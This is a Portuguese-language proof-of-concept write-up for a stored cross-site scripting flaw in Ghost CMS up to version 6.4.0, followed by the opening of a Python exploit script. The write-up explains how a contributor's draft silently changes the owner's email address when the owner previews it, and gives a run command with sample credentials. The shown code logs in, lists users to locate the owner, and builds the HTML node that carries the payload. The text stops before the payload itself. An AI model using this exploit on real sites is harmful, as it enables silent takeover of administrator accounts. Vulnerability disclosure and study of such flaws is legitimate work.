
Ghost CMS Escalada de Privilégios PoC
PoC de Escalação de Privilégios no Ghost CMS
No Ghost Foundation Ghost CMS até a versão 6.4.0, o bloco HTML dentro do editor de rascunho de post não sanitiza nem codifica adequadamente o conteúdo fornecido pelo usuário, resultando em uma vulnerabilidade de cross-site scripting (XSS) armazenado. Um usuário com privilégios de Colaborador pode injetar JavaScript arbitrário em um rascunho, que é executado quando visualizado pela conta Proprietário. Isso permite que o atacante realize ações privilegiadas no contexto do Proprietário.
Para demonstrar a vulnerabilidade, é necessário configurar uma instância local do Ghost CMS com duas contas:
Conta Proprietário - criada automaticamente durante a instalação do Ghost.
Conta Colaborador - criada pelo Proprietário ao convidar um novo usuário. O Ghost envia um Magic Link para o endereço de e-mail do Colaborador para completar a configuração da conta.
Como isso é feito localmente, uma ferramenta de captura de e-mails como o MailHog deve ser instalada (por exemplo, via Docker). Isso permite que o Magic Link enviado pelo Ghost seja interceptado localmente, para que o Colaborador possa ativar sua conta por conta própria.
Uma vez que ambas as contas estejam ativas, o script de exploração (contributor.py) pode ser usado. O script requer as credenciais de login do Colaborador e o novo endereço de e-mail que será atribuído à conta Proprietário após uma exploração bem-sucedida.
Os parâmetros do script são:
-u / --username Nome de usuário do Colaborador (e-mail)
-p / --password Senha do Colaborador
-e / --new-email Novo endereço de e-mail a ser definido na conta Proprietário
--url URL da instância Ghost (opcional)
Para executar o script no terminal, use:
python3 contributor.py -u '[email protected]' -p 'wojtek123!@#' -e '[email protected]'
Quando executado, o script cria automaticamente um novo rascunho de Post contendo o payload JavaScript malicioso dentro do bloco HTML vulnerável.
Para acionar o XSS armazenado, o Proprietário só precisa visualizar o rascunho abrindo-o no painel de administração do Ghost e clicando em “Preview”. O script injetado é executado em segundo plano com os privilégios do Proprietário, e o Proprietário não é notificado de que seu endereço de e-mail foi alterado.
import requests
import json
import argparse
class GhostCMSSession:
def __init__(self, ghost_url="http://localhost:2368"):
self.ghost_url = ghost_url.rstrip('/')
self.api_url = f"{self.ghost_url}/ghost/api/admin"
self.session = requests.Session()
self.authenticated = False
self.current_user = None
self.owner_user = None
self.session.headers.update({
'Origin': self.ghost_url,
'Accept': 'application/json',
'Content-Type': 'application/json'
})
def login(self, username, password):
"""Login to Ghost with username and password"""
login_url = f"{self.api_url}/session/"
payload = {"username": username, "password": password}
try:
response = self.session.post(login_url, json=payload)
if response.status_code == 201:
print(f"✓ Successfully logged in as {username}")
self.authenticated = True
self.current_user = self.get_current_user()
self.owner_user = self.get_owner_user()
return True
else:
print(f"✗ Login failed: {response.status_code}")
return False
except Exception as e:
print(f"✗ Login error: {str(e)}")
return False
def get_current_user(self):
"""Get current user information"""
if not self.authenticated:
return None
try:
url = f"{self.api_url}/users/me/?include=roles"
response = self.session.get(url)
if response.status_code == 200:
data = response.json()
user = data['users'][0]
print(f"\n Current User: {user.get('name', 'Unknown')}")
print(f" Email: {user.get('email', 'Unknown')}")
print(f" User ID: {user.get('id', 'Unknown')}")
if 'roles' in user and user['roles']:
role = user['roles'][0]
if isinstance(role, dict):
print(f" Role: {role.get('name', 'Unknown')}")
return user
return None
except Exception as e:
print(f" Error fetching user: {str(e)}")
return None
def get_owner_user(self):
"""Fetch all users and find the owner - return full user object"""
if not self.authenticated:
return None
try:
print(f"\n Fetching all users to find owner...")
url = f"{self.api_url}/users/?include=roles"
response = self.session.get(url)
if response.status_code == 200:
data = response.json()
users = data.get('users', [])
print(f" Found {len(users)} users")
for user in users:
if 'roles' in user and user['roles']:
role = user['roles'][0]
role_name = role.get('name', '').lower() if isinstance(role, dict) else str(role).lower()
print(f" - {user.get('name')} ({user.get('email')}) - Role: {role_name}")
if role_name == 'owner' or role_name == 'administrator':
print(f"\n ✓ Found Owner: {user.get('name')} (ID: {user.get('id')})")
print(f" Slug: {user.get('slug')}")
print(f" Email: {user.get('email')}")
return user
return None
return None
except Exception as e:
print(f" ✗ Error fetching users: {str(e)}")
return None
def create_lexical_with_html(self, html_content):
"""Create Lexical format with HTML node (as a JSON string)"""
lexical_structure = {
"root": {
"children": [
{
"type": "html",
"version": 1,
"html": html_content,
"visibility": {
"web": {
"nonMember": True,
"memberSegment": "status:free,status:-free"
},
"email": {
"memberSegment": "status:free,status:-free"
}
}
},
{
"children": [],
"direction": None,
"format": "",
"indent": 0,
"type": "paragraph",
"version": 1
}
],
"direction": None,
"format": "",
"indent": 0,
"type": "root",
"version": 1
}
}
return json.dumps(lexical_structure)
def create_post_for_review(self, title, new_email, tags=None, excerpt=None):
"""Create a post with Lexical HTML content"""
if not self.authenticated or not self.current_user:
print("✗ Not authenticated")
return None
if not self.owner_user:
print("✗ Owner user not found")
return None